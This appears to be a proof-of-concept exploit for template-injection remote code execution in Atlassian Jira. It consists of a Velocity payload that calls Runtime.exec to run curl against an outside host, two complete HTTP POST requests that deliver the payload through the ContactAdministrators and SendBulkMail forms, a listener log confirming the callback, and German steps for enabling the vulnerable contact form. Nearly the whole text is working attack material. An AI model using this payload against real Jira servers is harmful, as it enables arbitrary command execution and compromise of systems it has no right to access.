$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 47.97.112.98:8000//jas502n//').waitFor()

POST /secure/ContactAdministrators.jspa HTTP/1.1
Host: 10.10.20.116:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
Referer: http://10.10.20.116:8080/secure/ContactAdministrators!default.jspa
Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout; JSESSIONID=FCC6A28A80F6BBB6610A54327E4E8C66
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

from=232334%40qq.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27curl+47.97.112.98%3A8000%2F%2Fjas502n%2F%2F%27%29.waitFor%28%29&details=23423423&atl_token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81

POST /secure/admin/SendBulkMail.jspa HTTP/1.1
Host: 10.10.20.116:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Referer: http://10.10.20.116:8080/secure/admin/SendBulkMail!default.jspa
Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin; JSESSIONID=32D0E863B383BDAAF8049FA4339D5C26
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

sendToRoles=true&projects=10000&roles=10002&replyTo=test%40qq.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27curl+47.97.112.98%3A8000%2F%2Fjas502n%2F%2F%27%29.waitFor%28%29&message=542342342&messageType=html&sendBlind=true&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81&atl_token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin

python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
1xx.xx.xx4 - - [16/Jul/2019 12:13:43] code 404, message File not found
1xx.xx.xx4 - - [16/Jul/2019 12:13:43] "GET //jas502n// HTTP/1.1" 404 -

Wählen Sie das Zahnrad-Symbol > System aus.
Wählen Sie Allgemeine Konfiguration.
Klicken Sie auf Einstellungen bearbeiten.
Scrollen Sie nach unten zum Formular 'Kontakt zum Administrator' und setzen Sie es auf EIN.
Geben Sie Ihren Text in das Feld 'Nachricht an den Administrator' ein. Wenn Sie Hilfe bei der Markierung benötigen, klicken Sie auf das ? unter dem Feld.
Klicken Sie auf Aktualisieren.